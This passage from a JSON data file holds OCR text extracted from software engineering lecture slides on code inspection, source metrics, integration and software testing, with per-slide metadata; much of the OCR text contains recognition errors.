| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:56+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-301-0000": { |
| "id": "CO3001-chapter-8-slide-301-0000", |
| "text": "DOCUMENTING ATTRIBUTES Description -- what it's used for All applicable invariants quantitative facts about the attribute, or\" 36 <_length *_width < 193\" BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 12 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_012.png", |
| "page_index": 301, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:01:59+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-302-0000": { |
| "id": "CO3001-chapter-8-slide-302-0000", |
| "text": "CONSTANTS Before designating a final variable, be sure that itis, indeed, final. You're quantities.in most casés. Consider using method instead. Ex: instead of .. protected static final MAX_CHARS_IN_NAME consider using ... protected final static int gétMaxCharsInName0) 20; Y return BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 13 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_013.png", |
| "page_index": 302, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:03+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-303-0000": { |
| "id": "CO3001-chapter-8-slide-303-0000", |
| "text": "INITIALIZING ATTRIBUTES Attributes should be always be initialized, think of private float _balance = 0; Attribute may be an object of another class, as in Traditionally done using the constructor, as in Customer( \"Edward\", \"Jones\" ); Problem is maintainability. When new BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 14 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_014.png", |
| "page_index": 303, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:05+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-304-0000": { |
| "id": "CO3001-chapter-8-slide-304-0000", |
| "text": "INSPECT CODE 1 OF 5: CLASSES One way to OVERALL C1. Is its (the class') name appropriate? C2. Could it be abstract (to be used only as a base)? C3. Does its header describe its purpose? C4. Does its header reference the requirements and/or design element to which it corresponds? C5. Does it state the package to which it belongs? C6. Is it as private as it can be? C7. Should it be final Uava) C8. Have the documentation.staadlards.been BK Sep 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_015.png", |
| "page_index": 304, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:10+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-305-0000": { |
| "id": "CO3001-chapter-8-slide-305-0000", |
| "text": "INSPECT CODE 2 OF 5 : ATTRIBUT&neW@yt9 Al. Is it (the attribute) necessary? A2. Could it be static? A3. Should it be final? A4. Are the naming conventions properly applied? A5. Is it as private as possible? A6. Are.the attributes as independent as possible? A7. Is there a comprehensive initialization strategy? BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 16 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_016.png", |
| "page_index": 305, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:14+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-306-0000": { |
| "id": "CO3001-chapter-8-slide-306-0000", |
| "text": "INSPECT CODE 3 OF 5 : Ohe way to CONSTRUCTORS V CO1. Is it (the constructor) necessary? V CO2. Does it leverage existing constructors? V CO3. Does it initialize of all the attributes? CO4. Is it as private as possible? CO5. Does it execute the inherited constructor(s) where necessary? BK Sep 2019 CHAPTER 7.3. MORE ONIMPLEMENTATION 17 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_017.png", |
| "page_index": 306, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:18+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-307-0000": { |
| "id": "CO3001-chapter-8-slide-307-0000", |
| "text": "INSPECT CODE 4 OE 5: METHOD One way to HEADERS MH1. Is the method appropriately named? MH2. Is it as private as possible? MH3. Could it be static? MH4. Should it be final? MH5. Does the header describe method's purpose? MH6. Does the method header reference the requirements and/or design section that it satisfies? MH7. Does it state all necessary invariants? MH8. Does it state all pre-conditions? MH9. Does it state all post-conditions? MH10.Does it apply documentation standards? MH1 1.Are the parameter types restricted? BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 18 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_018.png", |
| "page_index": 307, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:22+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-308-0000": { |
| "id": "CO3001-chapter-8-slide-308-0000", |
| "text": "INSPECT CODE 5 OE 5: METHOD Oherway to MB1. Is the algorithm consistent with the detailed design pseudocode and/or flowchart? MB2. Does the code assume no more than the stated preconditions? MB3. Does the code produce every one of the postconditions? MB4. Does the code respect the required invariant? MB5. Does every loop terminate? MB6. Are reguired notational standards observed? MB7. I Has every line been thoroughly checked? MB8. Are all braces balanced? MB9. Are illegal parameters considered? MBl0. Does the code return the correct type? MB11. Is the code thoroughly commented? BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 19 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_019.png", |
| "page_index": 308, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:27+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-309-0000": { |
| "id": "CO3001-chapter-8-slide-309-0000", |
| "text": "STANDARD METRICS FOR SOURCE CODE Counting lines Lines of code (LoC) How to count statements that occupy several lines (1 or n?) How to count comments (o?) - How to count lines consisting of while, for, do, etc. (1?) lEEE metrics 14. Software Science Measures nl, n2 = num. of distinct operators (+,* etc.), operands N1, N2 = total num. of occurrences of the operators, the operands Estimated program length = n1(log n1) + n2(log n2) Program difficulty = (n1N1)/(2n2) 1 6. Cyclomatic Complexity Custom metrics? BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_020.png", |
| "page_index": 309, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:32+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-310-0000": { |
| "id": "CO3001-chapter-8-slide-310-0000", |
| "text": "CYCLOTOMIC COMPLEXITY C = E -N + 1 1 int x = anX = 8 - 7 + 1 2 int y = aY; 21 3 while(!(x == y)) { 4 if(x> y) 5 x = x - y; else y * 6 y = y - x; 7 } 8 ...println(x); y * : independent loop BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 21 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_021.png", |
| "page_index": 310, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:36+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-311-0000": { |
| "id": "CO3001-chapter-8-slide-311-0000", |
| "text": "INTEGRATION Applications are complex => be built of parts assembled: integration Waterfall process Integration phase is (nearly) the last Incompatibility ? BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 22 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_022.png", |
| "page_index": 311, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:40+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-312-0000": { |
| "id": "CO3001-chapter-8-slide-312-0000", |
| "text": "THE BUILD PROCESS Build 1 Build 2 Build 3 Final Build of Single Leyel Single level iteration Double level iteration Final Build of Double Final Build of Single LeyeJ Level BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 23 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_023.png", |
| "page_index": 312, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:43+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-313-0000": { |
| "id": "CO3001-chapter-8-slide-313-0000", |
| "text": "INTEGRATION IN SPIRAL DEVELOPMENT Design Requirements analysis First iteration Second iteration 2. Design for additional requirements 1. Get additiona requirements 3. Code additional 5. Test 4. Integrate new code Implementation Test BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 24 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_024.png", |
| "page_index": 313, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:49+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-314-0000": { |
| "id": "CO3001-chapter-8-slide-314-0000", |
| "text": "ROADMAP FOR INTEGRATION AND SYSTEM TEST 1. Decide extent of all tests. 2. For each iteration 2.1 2.1.1 Perform regression testing from prior build For 2.1.2 Retest functions if required each 2. 1.3 Retest modules if required build 2. 1.4 Test interfaces if required 2. 1.5 Perform build integration tests Development of iteration complete 2.2 Perform iteration system and usability tests System implemented 3. Perform installation tests System installed 4. Perform acceptance tests Job completed", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_025.png", |
| "page_index": 314, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:53+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-315-0000": { |
| "id": "CO3001-chapter-8-slide-315-0000", |
| "text": "FACTORS DETERMINING THE SEQUENCE OF INTEGRATION Technical: Usage of modules by other modules : build and integrate modules used before modules that use them Defining and using framework classes Risk reduction: Exercising integration early Exercising key risky parts of the application as early as possible Requirements: BK Sep 2019 CHAPTER 7.3. MORE ONIMPLEMENTATION 26 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_026.png", |
| "page_index": 315, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:02:56+07:00" |
| } |
| }, |
| "CO3001-chapter-8-slide-316-0000": { |
| "id": "CO3001-chapter-8-slide-316-0000", |
| "text": "SUMMARY Keep coding goals in mind: 1. correctness 2. clarity Apply programming standards Specify pre- and post-condition Track time spent Maintain quality and professionalism Integration process executed in carefully planned builds BK Sep 2019 CHAPTER 7.3.MORE ON IMPLEMENTATION 27 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_8/slide_027.png", |
| "page_index": 316, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:00+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-317-0000": { |
| "id": "CO3001-chapter-9-slide-317-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 9 - SOFTWARE QUALITY & Anh Nguyen-Duc QUALITY ASSURANCE Quan Thanh Tho WEEK 9 BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_001.png", |
| "page_index": 317, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:05+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-318-0000": { |
| "id": "CO3001-chapter-9-slide-318-0000", |
| "text": "TOPICS COVERED Software Quality & its importance Development testing Test-driven development Release testing V User testing BK Sep 2019 CHAPTER 8. SOETWARE TESTING 2 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_002.png", |
| "page_index": 318, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:08+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-319-0000": { |
| "id": "CO3001-chapter-9-slide-319-0000", |
| "text": "THE IMPORTANCE OF SOFTWARE QUALITY BK Sep 2019 HAPIER 8. SOFWARE IESUNG 3 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_003.png", |
| "page_index": 319, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:11+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-320-0000": { |
| "id": "CO3001-chapter-9-slide-320-0000", |
| "text": "WHY IS SOETWARE QUALITY IMPORTANT? N DIMECC Program NEED FOR SPEED Fast cheap Good/Complete Noprojectliveshere.. BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_004.png", |
| "page_index": 320, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:14+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-321-0000": { |
| "id": "CO3001-chapter-9-slide-321-0000", |
| "text": "DEFINITION OF QUALITY (ISO) defines quality as the totality of characteristics of an entity that bear on its ability to satisfy stated or implied needs (IS08042:1994).or the degree to which a set of inherent characteristics fulfils requirements. (IS09000:2000). Conformance to reguirements means the project s Fitness for use means a product can be used as it was Intended. Quality aspects: product. delivered to the customer process: produces the software product BK resources: (both the product and the process TP.HCM reguire", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_005.png", |
| "page_index": 321, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:19+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-322-0000": { |
| "id": "CO3001-chapter-9-slide-322-0000", |
| "text": "PROCESS QUALITY VS. PRODUCT QUALITY Quality can mean the difference between excellence and disaster Airbus A400M Atlas crash in 2015, 4 killed BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_006.png", |
| "page_index": 322, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:24+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-323-0000": { |
| "id": "CO3001-chapter-9-slide-323-0000", |
| "text": "PROCESS QUALITY VS. PRODUCT QUALITY 1 The black boxes attest to that there are no structural defects [with the aircraft], but we have a serious quality problem in the WAIRBUS EA ...either a weakness in the test S US procedure of planes before they fly, or a problem that results from the implementation of BK these procedures. TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_007.png", |
| "page_index": 323, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:29+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-324-0000": { |
| "id": "CO3001-chapter-9-slide-324-0000", |
| "text": "PRODUCT OR PROCESS ISSUE? 8/2016: Security breach with Bitcoin cost 72 mil. Usd Iost in market Bitcoin Slumps, Bounces Back Digital currency slides after hackers steal millions from exchange Bitcoin 640 Close on 07/31 ---- 657.6700 620 600 580 16.46% 560 108.2374 549.4326 540 520 500 480 00:00 08:00 00:00 08:00 00:00 08:00 16:00 BK 01 Aug 2016 02 Aug 2016 03 Aug 2016 TP.HCM Source: Bloomberg Bloomberg all", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_008.png", |
| "page_index": 324, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:35+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-325-0000": { |
| "id": "CO3001-chapter-9-slide-325-0000", |
| "text": "SOFTWARE QUALITY ATTRIBUTES (1) i Weak Signal,ac ON Sounds Accelerometrics Application crash ON Assisted GPS Your last session closed unexpectedly. Send a crash report? OFF Accuracy Filter No,thanks Send report Display Units +4 Comment Metric Imperial Nautical Speed Display Format Speed Pace Coordinate Display Format DMS DM D UTM Back BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_009.png", |
| "page_index": 325, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:41+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-326-0000": { |
| "id": "CO3001-chapter-9-slide-326-0000", |
| "text": "SOFTWARE QUALITY MQDEL Testability Changeability St ability Maintana- bilty gtt racveness Operablity Vsa bility Eficiency Leamabilty Aessource utilisstion U nderatandability Time behar iour ISO 9126 Suitability Interoperabiity Funcbona Porta bility fty t Qompliance Regularity Adaptability AccuacF Replaceability Seourity Reliability hstallabilty CO-2iEnce Fauh tolerance M at urity BK TP.HCM Recorerability", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_010.png", |
| "page_index": 326, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:45+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-327-0000": { |
| "id": "CO3001-chapter-9-slide-327-0000", |
| "text": "PROGRAM TESTING Testing is intended to show that a program does what it is intended to do and to discover program defects before it is put into use. NOT their absence. validation process, which also includes static validation techniques. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 11 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_011.png", |
| "page_index": 327, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:50+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-328-0000": { |
| "id": "CO3001-chapter-9-slide-328-0000", |
| "text": "PROGRAM TESTING GOALS To demonstrate to the developer and the customer that the software meets its requirements. validation testing To discover situations in which the behavior of the software is incorrect, undesirable or does not conform to its specification. defect testing BK Sep 2019 CHAPTER 8. SOFTWARE TESTINC 12 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_012.png", |
| "page_index": 328, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:54+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-329-0000": { |
| "id": "CO3001-chapter-9-slide-329-0000", |
| "text": "QUALITY ASSURANCE The Product of Testing iS CONFIDENCE BK Sep 2019 CHAPTER 8. SOETWARE TESTING 13 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_013.png", |
| "page_index": 329, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:03:58+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-330-0000": { |
| "id": "CO3001-chapter-9-slide-330-0000", |
| "text": "PSYCHOLOGY OF TESTING (1) V A program is its programmer's baby! Trying to find errors in one's own program is like trying to find defects in one's own baby. - It is best to have someone other than the programmer doing the testing. Tester must be highly skilled, experienced professional. V It helps if he or she possesses a diabolical mind. BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_014.png", |
| "page_index": 330, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:02+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-331-0000": { |
| "id": "CO3001-chapter-9-slide-331-0000", |
| "text": "PSYCHOLOGY OF TESTING (2) Testing achievements depend a lot on what are the goals. Myers (79): says discover many. subconscious will manufacture safe test cases. discover large percentage of them. program with the intention of finding errors (G. Myers) BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_015.png", |
| "page_index": 331, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:05+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-332-0000": { |
| "id": "CO3001-chapter-9-slide-332-0000", |
| "text": "AN INPUT-OUTPUT MODEL OF PROGRAM TESTING Input test data Inputs causing le anomalous behaviour System Outputs which reveal Output test results Oe the presence of defects BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 16 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_016.png", |
| "page_index": 332, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:09+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-333-0000": { |
| "id": "CO3001-chapter-9-slide-333-0000", |
| "text": "INSPECTIONS VS. TESTING Software inspections Concerned with analysis of the static system representation to discover problems (static verification) May be supplement by tool-based document and code analysis. Software testing Concerned with exercising and observing product behaviour (dynamic verification) The system is executed with test data and its operational behaviour is observed. BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 17 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_017.png", |
| "page_index": 333, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:13+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-334-0000": { |
| "id": "CO3001-chapter-9-slide-334-0000", |
| "text": "STATIC TESTING VS. DYNAMIC TESTING workdir/.../lpsolve/lp_presolve.c 4285 REAL test, ratio, value, valueEQ, *valptr: Potential leak of memory pointed to by 4286 LLrec *EQlist = NULL; 'QS' 4287 UNIONTYPE QSORTreC *QS = (UNIONTYPE QSORTreC *) calloc(lp->rows, sizeof(*QS)j Bug +4 4288 4289 /* Check if we were able to obtain working memory */ Memory is allocated 4290 if 2 QS 3 psdata->rows->varmap->count == 0 l (psdata->EQmap->count == @)) 2 Assuming'QS' is not egual to NULL 4291 return( status); Assuming the condition is true 4 Potential leak of memory pointed to Potential leak of memory pointed to by 'QS' See Rule 11 months ago v L4291 by'QS' Bug v Q Blocker v O Open v Not assigned v 20min effort Comment cert, cwe, denial-of-service, leak alt + to navigate issue locations 4292 4293 /* Sort rows in 1) increasing order of start index, 2) decreasing length, and 1 of 1 shown 4294 3) non-equalities (i.e. equalities last) */ 4295 n=0 4296 for(i = firstActiveLink(psdata->rows->varmap); i != @; i = nextActiveLink(psdata->rows->varmap, i)) { 4297 k = presolve_rowlength(psdata, i); 4298 if(k >= 2) { 4299 item = 0; 4300 ii = presolve_nextcol(psdata, i, &item): * 2.7% 3.6% 27 sonar List of Defects", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_018.png", |
| "page_index": 334, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:21+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-335-0000": { |
| "id": "CO3001-chapter-9-slide-335-0000", |
| "text": "STATIC TESTING VS. DYNAMIC TESTING workdir/.../lpsolve/lp_presolve.c 4285 REAL test, ratio, value, valueEQ, *valptr: Potential leak of memory pointed to by 4286 LLrec *EQlist = NULL; 'QS' 4287 UNIONTYPE QSORTreC *QS = (UNIONTYPE QSORTreC *) calloc(lp->rows, sizeof(*QS)j Bug +4 4288 4289 /* Check if we were able to obtain working memory */ Memory is allocated 4290 if 2 QS 3 psdata->rows->varmap->count == 0 l (psdata->EQmap->count == @)) 2 Assuming'QS' is not egual to NULL 4291 return( status); Assuming the condition is true 4 Potential leak of memory pointed to Potential leak of memory pointed to by 'QS' See Rule 11 months ago v L4291 by'QS' Bug v Q Blocker v O Open v Not assigned v 20min effort Comment cert, cwe, denial-of-service, leak alt + to navigate issue locations 4292 4293 /* Sort rows in 1) increasing order of start index, 2) decreasing length, and 1 of 1 shown 4294 3) non-equalities (i.e. equalities last) */ 4295 n=0 4296 for(i = firstActiveLink(psdata->rows->varmap); i != @; i = nextActiveLink(psdata->rows->varmap, i)) { 4297 k = presolve_rowlength(psdata, i); 4298 if(k >= 2) { 4299 item = 0; 4300 ii = presolve_nextcol(psdata, i, &item): * 2.7% 3.6% 27 sonar List of Defects", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_019.png", |
| "page_index": 335, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:31+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-336-0000": { |
| "id": "CO3001-chapter-9-slide-336-0000", |
| "text": "INSPECTIONS VS. TESTING NASA's Java PathFinder (JPF for short) is an instrumented JVM that provides a state model checker. It runs your program by trying all potential execution paths through it, checking properties as it goes to detect problems like deadlocks or unhandled exceptions. start Ranoom random new Random() a=1 int a random.nextInt(2) b=0 b=1 b=2 b=0 b=1 b=2 31 int b random.nextInt(3) C=0 C=0 c=070 c=1/0 c=1 4) int c = i a/(b+a -2 BK Sep 2019 CHAPTER 8. SOFTWARE TESTING 20 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_020.png", |
| "page_index": 336, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T13:04:36+07:00" |
| } |
| }, |
| "CO3001-chapter-9-slide-337-0000": { |
| "id": "CO3001-chapter-9-slide-337-0000", |
| "text": "BUG TRIAGING Businos impadt Ftiqht arco ASSESS, BUDGET EASY 9ChEpvlE,F1X High PIck SINES WON'T HOBBY FIX FIX Low Cost t Fix BK Low High Sep 2019 -TWARE TESTING 21 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_9/slide_021.png", |
| "page_index": 337, |
| "language": "en", |
